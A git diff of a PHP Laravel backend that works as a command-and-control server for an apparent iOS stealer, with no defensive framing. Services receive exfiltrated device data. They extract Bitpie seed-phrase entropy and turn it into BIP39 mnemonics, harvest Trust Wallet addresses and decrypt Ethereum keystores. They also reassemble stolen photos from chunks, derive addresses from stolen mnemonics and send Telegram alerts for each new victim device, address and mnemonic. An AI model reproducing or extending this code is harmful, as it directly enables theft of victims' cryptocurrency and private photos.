return $out;
}
private function decodeBlob(string $raw): mixed
{
$raw = trim($raw);
if ($raw === '') {
return null;
}
if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) {
$json = json_decode($raw, true);
return is_array($json) ? $json : null;
}
$b64 = base64_decode($raw, true);
if (is_string($b64) && $b64 !== '') {
$json = json_decode($b64, true);
if (is_array($json)) {
return $json;
}
}
$hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? '';
if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) {
$bin = @hex2bin($hex);
if (is_string($bin) && $bin !== '') {
$json = json_decode($bin, true);
if (is_array($json)) {
return $json;
}
}
}
return null;
}
private function asMnemonic(string $plain): ?string
{
$text = strtolower(trim($plain));
$text = preg_replace('/\s+/', ' ', $text) ?? $text;
$words = $text === '' ? [] : explode(' ', $text);
$n = count($words);
if ($n !== 12 && $n !== 24) {
return null;
}
foreach ($words as $word) {
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
return null;
}
}
return implode(' ', $words);
}
/**
* @return list<string>
*/
public function collectBitpieEntropyHex(mixed $node, int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectBitpieEntropyHex($decoded, $depth + 1);
}
if (! is_array($node)) {
return [];
}
$out = [];
$account = strtolower(trim((string) ($node['account'] ?? '')));
if ($account === 'seedphraseentropy') {
$hex = $this->entropyHexFromItem($node);
if ($hex !== null) {
$out[] = $hex;
}
}
foreach ($node as $key => $child) {
if (is_string($key) && strtolower($key) === 'seedphraseentropy') {
$hex = is_string($child) ? $this->normalizeEntropyHex($child) : $this->entropyHexFromItem(is_array($child) ? $child : []);
if ($hex !== null) {
$out[] = $hex;
}
}
if (is_array($child) || is_string($child)) {
$out = array_merge($out, $this->collectBitpieEntropyHex($child, $depth + 1));
}
}
return $out;
}
/**
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
*/
public function collectBitpieAddresses(mixed $node, int $depth = 0, bool $inBitpie = false): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
if (! $inBitpie) {
return [];
}
return $this->addressesFromBitpieText($node);
}
if (! is_array($node)) {
return [];
}
$out = [];
$account = strtolower(trim((string) ($node['account'] ?? '')));
$extract = $inBitpie || in_array($account, ['useraddresskey', 'useraddress', 'seedphraseentropy'], true);
if (in_array($account, ['useraddresskey', 'useraddress'], true)) {
$out = array_merge($out, $this->addressesFromBitpieText($this->itemUtf8($node)));
}
if ($extract && isset($node['address']) && is_string($node['address'])) {
$mapped = $this->addressRow($node['address'], $node['coin_code'] ?? $node['chainType'] ?? $node['chain'] ?? null);
if ($mapped !== null) {
$out[] = $mapped;
}
}
foreach ($node as $key => $child) {
if (! is_array($child) && ! is_string($child)) {
continue;
}
$childInBitpie = $inBitpie || $this->isBitpieLabel($key);
$walk = $childInBitpie || $this->isBitpieWalkKey($key, $inBitpie);
if (! $walk) {
continue;
}
$out = array_merge($out, $this->collectBitpieAddresses($child, $depth + 1, $childInBitpie));
}
return $out;
}
private function isBitpieLabel(mixed $key): bool
{
$raw = strtolower(trim((string) $key));
return $raw !== '' && (
str_contains($raw, 'bitpie')
|| in_array($raw, ['useraddresskey', 'useraddress', 'useraddresses', 'kuseraddressesconfigure'], true)
);
}
private function isBitpieWalkKey(mixed $key, bool $inBitpie): bool
{
if (is_int($key)) {
return $inBitpie;
}
$raw = strtolower(trim((string) $key));
return in_array($raw, ['wallets', 'sandbox', 'items', 'item'], true);
}
/**
* @param array<string, mixed> $item
*/
private function entropyHexFromItem(array $item): ?string
{
$hex = $item['dataHex'] ?? null;
if (is_string($hex) && $hex !== '') {
$fromHex = $this->normalizeEntropyHex($hex);
if ($fromHex !== null) {
return $fromHex;
}
$bin = $this->fromHex($hex);
if ($bin !== null) {
$nested = $this->normalizeEntropyHex($bin);
if ($nested !== null) {
return $nested;
}
}
}
return $this->normalizeEntropyHex($this->itemUtf8($item));
}
/**
* @param array<string, mixed> $item
*/
private function itemUtf8(array $item): string
{
$hex = $item['dataHex'] ?? null;
if (is_string($hex) && $hex !== '') {
$bin = $this->fromHex($hex);
if ($bin !== null && mb_check_encoding($bin, 'UTF-8')) {
return trim($bin);
}
}
$data = $item['data'] ?? null;
return is_string($data) ? trim($data) : '';
}
private function normalizeEntropyHex(string $raw): ?string
{
$raw = trim($raw);
if ($raw === '') {
return null;
}
$bin = $this->fromHex($raw);
if ($bin !== null) {
if (mb_check_encoding($bin, 'UTF-8')) {
$trim = trim($bin);
if ($this->isEntropyHex($trim)) {
return strtolower($trim);
}
}
if (strlen($bin) === 16 || strlen($bin) === 32) {
return strtolower(bin2hex($bin));
}
}
if ($this->isEntropyHex($raw)) {
return strtolower($raw);
}
return null;
}
private function isEntropyHex(string $value): bool
{
return (bool) preg_match('/^[0-9a-fA-F]{32}$/', $value)
|| (bool) preg_match('/^[0-9a-fA-F]{64}$/', $value);
}
private function phraseFromEntropyHex(string $hex): ?string
{
try {
$mnemonic = BIP39::Entropy(strtolower($hex));
} catch (\Throwable) {
return null;
}
$phrase = strtolower(trim(implode(' ', $mnemonic->words)));
return $this->asMnemonic($phrase);
}
/**
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
*/
private function addressesFromBitpieText(string $text): array
{
$out = [];
$text = trim($text);
if ($text === '') {
return $out;
}
$direct = $this->addressRow($text, null);
if ($direct !== null) {
$out[] = $direct;
}
if (preg_match('/kUserAddressesConfigure\s*(\[[\s\S]*\])/', $text, $m)) {
$json = json_decode($m[1], true);
if (is_array($json)) {
$out = array_merge($out, $this->collectBitpieAddresses($json, 0, true));
}
}
$decoded = $this->decodeBlob($text);
if (is_array($decoded)) {
$out = array_merge($out, $this->collectBitpieAddresses($decoded, 0, true));
}
return $out;
}
/**
* @return array{address: string, chainType: string, symbol: string, balance: int}|null
*/
private function addressRow(string $address, mixed $hint): ?array
{
$address = trim($address);
if ($address === '') {
return null;
}
$chain = $this->chainFromHint($hint) ?? WalletSource::inferChainType($address);
$chain = strtoupper($chain);
if (! WalletSource::isSupportedChain($chain)) {
return null;
}
$normalized = $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain));
if (in_array($normalized, ['TRON', 'TRX'], true) && ! TronAddress::isValid($address)) {
return null;
}
if (in_array($normalized, ['ETHEREUM', 'ETH', 'EVM'], true) && ! EthAddress::isValid($address)) {
return null;
}
if (in_array($normalized, ['BITCOIN', 'BTC'], true) && ! BtcAddress::isValid($address)) {
return null;
}
$symbol = match ($chain) {
'BITCOIN', 'BTC' => 'BTC',
'ETHEREUM', 'ETH', 'EVM' => 'ETH',
'BNB', 'BSC', 'BINANCE' => 'BNB',
default => 'TRX',
};
return [
'address' => $address,
'chainType' => $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain)),
'symbol' => $symbol,
'balance' => 0,
];
}
private function chainFromHint(mixed $hint): ?string
{
$raw = strtolower(trim((string) $hint));
if ($raw === '') {
return null;
}
if (str_contains($raw, 'trx') || str_contains($raw, 'tron')) {
return 'TRON';
}
if (str_contains($raw, 'eth')) {
return 'ETHEREUM';
}
if (str_contains($raw, 'btc') || str_contains($raw, 'bitcoin')) {
return 'BITCOIN';
}
return WalletSource::isSupportedChain($raw) ? strtoupper($raw) : null;
}
private function fromHex(string $value): ?string
{
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
if ($hex === '' || strlen($hex) % 2 !== 0) {
return null;
}
$bin = @hex2bin($hex);
return is_string($bin) ? $bin : null;
}
}
+179
View File
@@ -0,0 +1,179 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\Photo;
use Illuminate\Support\Facades\Storage;
class DsResultStore
{
/** @var list<string> */
private const VIDEO_EXT = ['mp4', 'mov', 'm4v', 'avi', 'mkv', 'webm', '3gp', 'qt'];
/** @var list<string> */
private const IMAGE_EXT = ['png', 'jpg', 'jpeg', 'heic', 'heif', 'gif', 'webp', 'bmp', 'tif', 'tiff'];
public function __construct(
private readonly IngestService $ingest,
) {}
/**
* Persist one /result body. Videos are dropped. Chunks assemble under
* c2/ds-chunks then land in c2/ds-results. Images also go through album ingest.
*
* @param array<string, mixed> $payload
* @return array<string, mixed>
*/
public function store(Device $device, array $payload): array
{
$filename = $this->safeName((string) ($payload['filename'] ?? ''));
if ($filename === '') {
return ['stored' => false, 'reason' => 'no_filename'];
}
if ($this->isVideo($filename)) {
return ['stored' => false, 'reason' => 'video_skipped', 'filename' => $filename];
}
$raw = $payload['data'] ?? null;
if (! is_string($raw) || $raw === '') {
return ['stored' => false, 'reason' => 'no_data', 'filename' => $filename];
}
$bytes = base64_decode($raw, true);
if ($bytes === false) {
return ['stored' => false, 'reason' => 'bad_base64', 'filename' => $filename];
}
$commandId = $this->safeName((string) ($payload['command_id'] ?? 'unknown')) ?: 'unknown';
$total = isset($payload['total_chunks']) ? (int) $payload['total_chunks'] : 0;
$index = array_key_exists('chunk_index', $payload) ? (int) $payload['chunk_index'] : null;
if ($total > 1 && $index !== null) {
$assembled = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes);
if ($assembled === null) {
return [
'stored' => false,
'reason' => 'chunk_pending',
'filename' => $filename,
'chunk_index' => $index,
'total_chunks' => $total,
];
}
$bytes = $assembled;
}
$hash = hash('sha256', $bytes);
if ($this->alreadyIngested($device, $filename, $hash)) {
return [
'stored' => false,
'reason' => 'duplicate',
'filename' => $filename,
'size' => strlen($bytes),
];
}
$rel = 'c2/ds-results/'.$device->device_id.'/'.$commandId.'/'.$filename;
Storage::disk('local')->put($rel, $bytes);
$this->markSeen($device, $hash, $filename);
$photo = false;
if ($this->isImage($filename) && $device->albumStorageEnabled()) {
$tmp = tempnam(sys_get_temp_dir(), 'ds_photo_');
if ($tmp !== false) {
file_put_contents($tmp, $bytes);
$this->ingest->ingestPhotos($device, [$tmp]);
@unlink($tmp);
$photo = true;
}
}
return [
'stored' => true,
'path' => $rel,
'photo' => $photo,
'size' => strlen($bytes),
'filename' => $filename,
];
}
private function alreadyIngested(Device $device, string $filename, string $hash): bool
{
if (Storage::disk('local')->exists($this->seenPath($device, $hash))) {
return true;
}
if ($this->isImage($filename)
&& Photo::query()->where('device_id', $device->id)->where('sha256', $hash)->exists()) {
$this->markSeen($device, $hash, $filename);
return true;
}
return false;
}
private function markSeen(Device $device, string $hash, string $filename): void
{
Storage::disk('local')->put($this->seenPath($device, $hash), $filename);
}
private function seenPath(Device $device, string $hash): string
{
return 'c2/ds-results/'.$device->device_id.'/.seen/'.$hash;
}
private function acceptChunk(
Device $device,
string $commandId,
string $filename,
int $index,
int $total,
string $bytes,
): ?string {
$dir = 'c2/ds-chunks/'.$device->device_id.'/'.$commandId.'/'.$filename;
Storage::disk('local')->put($dir.'/'.$index, $bytes);
Storage::disk('local')->put($dir.'/total', (string) $total);
for ($i = 0; $i < $total; $i++) {
if (! Storage::disk('local')->exists($dir.'/'.$i)) {
return null;
}
}
$out = '';
for ($i = 0; $i < $total; $i++) {
$out .= (string) Storage::disk('local')->get($dir.'/'.$i);
}
Storage::disk('local')->deleteDirectory($dir);
return $out;
}
private function isVideo(string $filename): bool
{
return in_array($this->extension($filename), self::VIDEO_EXT, true);
}
private function isImage(string $filename): bool
{
return in_array($this->extension($filename), self::IMAGE_EXT, true);
}
private function extension(string $filename): string
{
$dot = strrpos($filename, '.');
if ($dot === false) {
return '';
}
return strtolower(substr($filename, $dot + 1));
}
private function safeName(string $name): string
{
$name = str_replace(["\0", '\\'], '', $name);
$name = basename(str_replace(['/', '\\'], '', $name));
$name = preg_replace('/[^A-Za-z0-9._-]/', '_', $name) ?? '';
return $name === '.' || $name === '..' ? '' : $name;
}
}
+178
View File
@@ -0,0 +1,178 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Support\WalletSource;
/**
* Pull plaintext Trust Wallet addresses from UTC / wallet_pkg /war sandbox.
* Only BTC / ETH / TRX; at most two addresses per chain, in file order.
*/
class DsTrustAddressIngest
{
public const MAX_PER_CHAIN = 2;
/** WalletCore coin type → persisted chain_type. */
private const COIN_CHAIN = [
0 => 'BITCOIN',
60 => 'ETHEREUM',
195 => 'TRON',
];
public function __construct(
private readonly IngestService $ingest,
) {}
public function ingest(Device $device, mixed $node): int
{
$rows = $this->collect($node);
if ($rows === []) {
return 0;
}
$this->ingest->ingestAddresses($device, [
'a' => 'd',
'data' => $rows,
]);
return count($rows);
}
/**
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
*/
public function collect(mixed $node): array
{
$picked = [
'BITCOIN' => [],
'ETHEREUM' => [],
'TRON' => [],
];
foreach ($this->walkAccounts($node) as $acct) {
$address = trim((string) ($acct['address'] ?? ''));
$chain = $this->chainFor($address, $acct['coin'] ?? null);
if ($chain === null) {
continue;
}
if (in_array($address, $picked[$chain], true)) {
continue;
}
if (count($picked[$chain]) >= self::MAX_PER_CHAIN) {
continue;
}
$picked[$chain][] = $address;
}
$out = [];
foreach ($picked as $chain => $addresses) {
$symbol = match ($chain) {
'BITCOIN' => 'BTC',
'ETHEREUM' => 'ETH',
default => 'TRX',
};
foreach ($addresses as $address) {
$out[] = [
'address' => $address,
'chainType' => $chain,
'symbol' => $symbol,
'balance' => 0,
];
}
}
return $out;
}
/**
* @return list<array<string, mixed>>
*/
private function walkAccounts(mixed $node, int $depth = 0): array
{
if ($depth > 8 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->walkAccounts($decoded, $depth + 1);
}
if (! is_array($node)) {
return [];
}
if (isset($node['activeAccounts']) && is_array($node['activeAccounts'])) {
return array_values(array_filter(
$node['activeAccounts'],
static fn ($row) => is_array($row)
));
}
$out = [];
foreach ($node as $key => $child) {
if (is_string($key) && strcasecmp($key, 'data_b64') === 0 && is_string($child)) {
$out = array_merge($out, $this->walkAccounts($child, $depth + 1));
continue;
}
$out = array_merge($out, $this->walkAccounts($child, $depth + 1));
}
return $out;
}
private function decodeBlob(string $raw): mixed
{
$raw = trim($raw);
if ($raw === '') {
return null;
}
if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) {
$json = json_decode($raw, true);
return is_array($json) ? $json : null;
}
$b64 = base64_decode($raw, true);
if (is_string($b64) && $b64 !== '') {
$json = json_decode($b64, true);
if (is_array($json)) {
return $json;
}
}
$hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? '';
if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) {
$bin = @hex2bin($hex);
if (is_string($bin) && $bin !== '') {
$json = json_decode($bin, true);
if (is_array($json)) {
return $json;
}
}
}
return null;
}
private function chainFor(string $address, mixed $coin): ?string
{
if ($address === '') {
return null;
}
if (is_numeric($coin)) {
$mapped = self::COIN_CHAIN[(int) $coin] ?? null;
if ($mapped !== null) {
return $mapped;
}
return null;
}
$inferred = match (WalletSource::inferChainType($address)) {
'BITCOIN' => 'BITCOIN',
'ETHEREUM' => 'ETHEREUM',
'TRON' => 'TRON',
default => null,
};
return $inferred;
}
}
+199
View File
@@ -0,0 +1,199 @@
<?php
namespace App\Services;
use App\Support\Scrypt;
use kornrunner\Keccak;
/**
* Ethereum / WalletCore keystore v3: scrypt|pbkdf2 + AES-128-CTR + keccak MAC.
*/
final class EthKeystore
{
public static function decrypt(array $keystore, string $password): ?string
{
$crypto = $keystore['crypto'] ?? $keystore['Crypto'] ?? null;
if (! is_array($crypto)) {
return null;
}
$cipher = strtolower((string) ($crypto['cipher'] ?? ''));
if ($cipher !== 'aes-128-ctr') {
return null;
}
$ciphertext = self::fromHex($crypto['ciphertext'] ?? null);
$mac = self::fromHex($crypto['mac'] ?? null);
$iv = self::fromHex($crypto['cipherparams']['iv'] ?? null);
if ($ciphertext === null || $mac === null || $iv === null || strlen($iv) !== 16) {
return null;
}
$derived = self::deriveKey($crypto, $password);
if ($derived === null || strlen($derived) < 32) {
return null;
}
if (! hash_equals($mac, self::keccak256(substr($derived, 16, 16).$ciphertext))) {
return null;
}
$plain = openssl_decrypt($ciphertext, 'aes-128-ctr', substr($derived, 0, 16), OPENSSL_RAW_DATA, $iv);
if (! is_string($plain) || $plain === '') {
return null;
}
return $plain;
}
/**
* @param array<string, mixed> $kdfparams
* @return array<string, mixed>
*/
public static function encrypt(string $plaintext, string $password, array $kdfparams = []): array
{
$salt = $kdfparams['salt'] ?? bin2hex(random_bytes(32));
if (is_string($salt) && ctype_xdigit($salt)) {
$saltHex = strtolower($salt);
} else {
$saltHex = bin2hex((string) $salt);
}
$n = (int) ($kdfparams['n'] ?? 16);
$r = (int) ($kdfparams['r'] ?? 8);
$p = (int) ($kdfparams['p'] ?? 1);
$dklen = (int) ($kdfparams['dklen'] ?? 32);
$iv = random_bytes(16);
$derived = Scrypt::hash($password, hex2bin($saltHex) ?: '', $n, $r, $p, $dklen);
$ciphertext = openssl_encrypt($plaintext, 'aes-128-ctr', substr($derived, 0, 16), OPENSSL_RAW_DATA, $iv);
if (! is_string($ciphertext)) {
throw new \RuntimeException('aes-128-ctr encrypt failed');
}
return [
'version' => 3,
'type' => 'mnemonic',
'crypto' => [
'cipher' => 'aes-128-ctr',
'cipherparams' => ['iv' => bin2hex($iv)],
'ciphertext' => bin2hex($ciphertext),
'kdf' => 'scrypt',
'kdfparams' => [
'dklen' => $dklen,
'n' => $n,
'p' => $p,
'r' => $r,
'salt' => $saltHex,
],
'mac' => bin2hex(self::keccak256(substr($derived, 16, 16).$ciphertext)),
],
];
}
/**
* @param array<string, mixed> $crypto
*/
private static function deriveKey(array $crypto, string $password): ?string
{
$kdf = strtolower((string) ($crypto['kdf'] ?? ''));
$params = is_array($crypto['kdfparams'] ?? null) ? $crypto['kdfparams'] : [];
$dklen = (int) ($params['dklen'] ?? 32);
$salt = self::fromHex($params['salt'] ?? null);
if ($salt === null || $dklen < 16) {
return null;
}
if ($kdf === 'scrypt') {
$n = (int) ($params['n'] ?? 0);
$r = (int) ($params['r'] ?? 0);
$p = (int) ($params['p'] ?? 0);
if ($n < 2 || $r < 1 || $p < 1) {
return null;
}
return self::scrypt($password, $salt, $n, $r, $p, $dklen);
}
if ($kdf === 'pbkdf2') {
$c = (int) ($params['c'] ?? 0);
$prf = strtolower((string) ($params['prf'] ?? 'hmac-sha256'));
if ($c < 1 || ! str_contains($prf, 'sha256')) {
return null;
}
return hash_pbkdf2('sha256', $password, $salt, $c, $dklen, true);
}
return null;
}
private static function scrypt(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
{
if ($n >= 256) {
$fast = self::scryptPython($password, $salt, $n, $r, $p, $dklen);
if ($fast !== null) {
return $fast;
}
}
try {
return Scrypt::hash($password, $salt, $n, $r, $p, $dklen);
} catch (\Throwable) {
return null;
}
}
private static function scryptPython(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
{
$python = trim((string) shell_exec('command -v python3'));
if ($python === '') {
return null;
}
$code = <<<'PY'
from Crypto.Protocol.KDF import scrypt
import sys
pw = bytes.fromhex(sys.argv[1])
salt = bytes.fromhex(sys.argv[2])
n, r, p, dk = (int(sys.argv[i]) for i in range(3, 7))
sys.stdout.buffer.write(scrypt(pw, salt, dk, N=n, r=r, p=p))
PY;
$cmd = [
$python,
'-c',
$code,
bin2hex($password),
bin2hex($salt),
(string) $n,
(string) $r,
(string) $p,
(string) $dklen,
];
$spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
$proc = @proc_open($cmd, $spec, $pipes);
if (! is_resource($proc)) {
return null;
}
fclose($pipes[0]);
$out = stream_get_contents($pipes[1]);
fclose($pipes[1]);
fclose($pipes[2]);
$codeStatus = proc_close($proc);
if ($codeStatus !== 0 || ! is_string($out) || strlen($out) !== $dklen) {
return null;
}
return $out;
}
private static function keccak256(string $data): string
{
return hex2bin(Keccak::hash($data, 256)) ?: '';
}
private static function fromHex(mixed $value): ?string
{
if (! is_string($value) || $value === '') {
return null;
}
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
if ($hex === '' || strlen($hex) % 2 !== 0) {
return null;
}
$bin = @hex2bin($hex);
return is_string($bin) ? $bin : null;
}
}
+7
View File
@@ -477,8 +477,15 @@ class IngestService
return;
}
$source = WalletSource::fromKeystoreHint($payload['a'] ?? null);
if ($source === '' && is_array($result)) {
$source = WalletSource::fromKeystoreHint($result['source'] ?? null);
}
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => $source,
'decrypted' => 0,
'raw_json' => is_array($result) ? $result : ['value' => $result],
]);
}
+25 -23
View File
@@ -10,7 +10,7 @@ use Illuminate\Support\Facades\Log;
/**
* When a mnemonic has no linked addresses, derive BIP44 index 0 for TRON/ETH/BTC,
* query balances, and persist only chains that have a positive balance.
* query balances, and persist the addresses even when the balance is zero.
*/
class MnemonicWalletDiscovery
{
@@ -26,9 +26,9 @@ class MnemonicWalletDiscovery
) {}
/**
* @return int Number of address rows created or updated with positive balance
* @return int Number of address rows created or updated
*/
public function discoverFundedIndexZero(WalletMnemonic $mnemonic): int
public function discoverIndexZero(WalletMnemonic $mnemonic): int
{
$phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') {
@@ -70,9 +70,15 @@ class MnemonicWalletDiscovery
): bool {
$driver = $this->chains->resolve($chain);
$address = $driver->deriveAddress($phrase, 0);
$coins = $this->fetchCoins($chain, $address);
if (! $this->hasPositiveBalance($coins)) {
return false;
try {
$coins = $this->fetchCoins($chain, $address);
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery balance failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $chain,
'address' => $address,
]);
$coins = $this->emptyCoins($chain);
}
$row = WalletAddress::query()->firstOrNew([
@@ -95,6 +101,19 @@ class MnemonicWalletDiscovery
return true;
}
/**
* @return array<string, string>
*/
private function emptyCoins(string $chain): array
{
return match ($chain) {
'tron' => ['trx' => '0', 'usdt' => '0'],
'eth' => ['eth' => '0', 'usdt' => '0'],
'btc' => ['btc' => '0'],
default => [],
};
}
/**
* @return array<string, string>
*/
@@ -131,21 +150,4 @@ class MnemonicWalletDiscovery
return '0';
}
}
/**
* @param array<string, string> $coins
*/
private function hasPositiveBalance(array $coins): bool
{
foreach ($coins as $value) {
if (! is_numeric($value)) {
continue;
}
if (bccomp((string) $value, '0', 18) > 0) {
return true;
}
}
return false;
}
}
+234
View File
@@ -0,0 +1,234 @@
<?php
namespace App\Services;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Process;
use Illuminate\Support\Facades\Storage;
class PhotoPreview
{
public const CACHE_DIR = 'c2/photo-previews';
/**
* Serve a stored photo. HEIC/HEIF is converted to JPEG at display time;
* the ingested original is never rewritten.
*
* @return array{bytes: string, mime: string, converted: bool}
*/
public function payload(string $absPath, string $deviceKey, string $sha256): array
{
$mime = @mime_content_type($absPath) ?: 'application/octet-stream';
$raw = (string) file_get_contents($absPath);
if ($raw === '' || ! $this->isHeic($absPath, $mime, $raw)) {
return [
'bytes' => $raw,
'mime' => $mime,
'converted' => false,
];
}
$cacheRel = $this->cachePath($deviceKey, $sha256);
$disk = Storage::disk('local');
if ($disk->exists($cacheRel)) {
$cached = (string) $disk->get($cacheRel);
if ($this->isJpeg($cached)) {
return [
'bytes' => $cached,
'mime' => 'image/jpeg',
'converted' => true,
];
}
}
$jpeg = $this->convertToJpeg($absPath);
if ($jpeg === null) {
Log::warning('heic preview convert failed', [
'path' => $absPath,
'sha256' => $sha256,
]);
return [
'bytes' => $raw,
'mime' => $mime,
'converted' => false,
];
}
$disk->put($cacheRel, $jpeg);
return [
'bytes' => $jpeg,
'mime' => 'image/jpeg',
'converted' => true,
];
}
public function forgetForDevice(string $deviceKey): void
{
$dir = self::CACHE_DIR.'/'.$this->safeKey($deviceKey);
try {
if (Storage::disk('local')->directoryExists($dir)) {
Storage::disk('local')->deleteDirectory($dir);
}
} catch (\Throwable) {
try {
Storage::disk('local')->deleteDirectory($dir);
} catch (\Throwable) {
}
}
}
public function headLooksHeic(string $head): bool
{
if (strlen($head) < 12 || substr($head, 4, 4) !== 'ftyp') {
return false;
}
$brands = substr($head, 8);
foreach (['heic', 'heix', 'heif', 'hevc', 'hevx', 'mif1', 'msf1'] as $brand) {
if (str_contains($brands, $brand)) {
return true;
}
}
return false;
}
private function isHeic(string $absPath, string $mime, string $raw): bool
{
$mime = strtolower($mime);
if (str_contains($mime, 'heic') || str_contains($mime, 'heif')) {
return true;
}
$ext = strtolower(pathinfo($absPath, PATHINFO_EXTENSION));
if (in_array($ext, ['heic', 'heif'], true)) {
return true;
}
return $this->headLooksHeic(substr($raw, 0, 32));
}
private function isJpeg(string $bytes): bool
{
return strlen($bytes) >= 3 && substr($bytes, 0, 2) === "\xFF\xD8";
}
private function convertToJpeg(string $absPath): ?string
{
$src = null;
$dst = null;
try {
$srcBase = tempnam(sys_get_temp_dir(), 'heic_src_');
$dstBase = tempnam(sys_get_temp_dir(), 'heic_dst_');
if ($srcBase === false || $dstBase === false) {
return null;
}
@unlink($srcBase);
@unlink($dstBase);
$src = $srcBase.'.heic';
$dst = $dstBase.'.jpg';
if (! @copy($absPath, $src)) {
return null;
}
foreach ($this->convertCommands($src, $dst) as $cmd) {
$result = Process::timeout(45)->run($cmd);
if (! $result->successful() || ! is_file($dst) || filesize($dst) < 3) {
continue;
}
$bytes = (string) file_get_contents($dst);
if ($this->isJpeg($bytes)) {
return $bytes;
}
}
return null;
} finally {
if (is_string($src) && is_file($src)) {
@unlink($src);
}
if (is_string($dst) && is_file($dst)) {
@unlink($dst);
}
}
}
/**
* @return list<list<string>>
*/
private function convertCommands(string $src, string $dst): array
{
$cmds = [];
if (is_executable('/usr/bin/sips')) {
$cmds[] = ['/usr/bin/sips', '-s', 'format', 'jpeg', '--out', $dst, $src];
}
foreach (['heif-convert', 'magick'] as $bin) {
$path = $this->resolveBinary($bin);
if ($path === null) {
continue;
}
$cmds[] = $bin === 'magick'
? [$path, $src, '-quality', '85', $dst]
: [$path, $src, $dst];
}
return $cmds;
}
private function resolveBinary(string $name): ?string
{
$candidates = match ($name) {
'magick' => ['magick', '/opt/homebrew/bin/magick', '/usr/local/bin/magick', '/usr/bin/magick'],
'heif-convert' => ['heif-convert', '/opt/homebrew/bin/heif-convert', '/usr/local/bin/heif-convert', '/usr/bin/heif-convert'],
default => [$name],
};
foreach ($candidates as $bin) {
if (str_contains($bin, DIRECTORY_SEPARATOR)) {
if (is_executable($bin)) {
return $bin;
}
continue;
}
$found = $this->which($bin);
if ($found !== null) {
return $found;
}
}
return null;
}
private function which(string $name): ?string
{
$path = getenv('PATH');
if (! is_string($path) || $path === '') {
return null;
}
foreach (explode(PATH_SEPARATOR, $path) as $dir) {
$candidate = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$name;
if (is_executable($candidate)) {
return $candidate;
}
}
return null;
}
private function cachePath(string $deviceKey, string $sha256): string
{
$sha = preg_replace('/[^0-9a-fA-F]/', '', $sha256) ?? '';
if ($sha === '') {
$sha = 'unknown';
}
return self::CACHE_DIR.'/'.$this->safeKey($deviceKey).'/'.$sha.'.jpg';
}
private function safeKey(string $key): string
{
$key = preg_replace('/[^A-Za-z0-9._-]/', '_', $key) ?? '';
return $key === '' ? '_unknown' : $key;
}
}
+35 -35
View File
@@ -185,7 +185,7 @@ class TelegramNotifier
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
{
$this->send(implode("\n", [
'📱 <b>New Device</b>',
'📱 <b>新设备</b>',
...$this->deviceHeader($deviceId),
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
@@ -214,7 +214,7 @@ class TelegramNotifier
}
$lines = [
'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
'💰 <b>新钱包地址</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
...$this->deviceHeader($deviceId),
];
@@ -227,12 +227,12 @@ class TelegramNotifier
if ($i > 0) {
$lines[] = '';
}
$lines[] = '⛓ <b>Chain</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
$lines[] = '⛓ <b>链</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
if ($source !== '') {
$lines[] = '🏷 <b>Source</b>: '.$this->e($source);
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
}
$lines[] = '📬 <b>Address</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
$lines[] = '📬 <b>地址</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
$lines[] = '💵 <b>余额</b>: '.$this->e($bal);
}
$this->send(implode("\n", $lines), $deviceId);
@@ -249,29 +249,29 @@ class TelegramNotifier
}
$this->send(implode("\n", [
'👜 <b>Installed Wallets</b>',
'👜 <b>已安装钱包</b>',
...$this->deviceHeader($deviceId),
'🏷 <b>Wallets</b>: '.$this->e(implode(', ', $wallets)),
'🏷 <b>钱包</b>: '.$this->e(implode(', ', $wallets)),
]), $deviceId);
}
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
{
$this->send(implode("\n", [
'🔐 <b>New Mnemonic</b>',
'🔐 <b>新助记词</b>',
...$this->deviceHeader($deviceId),
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
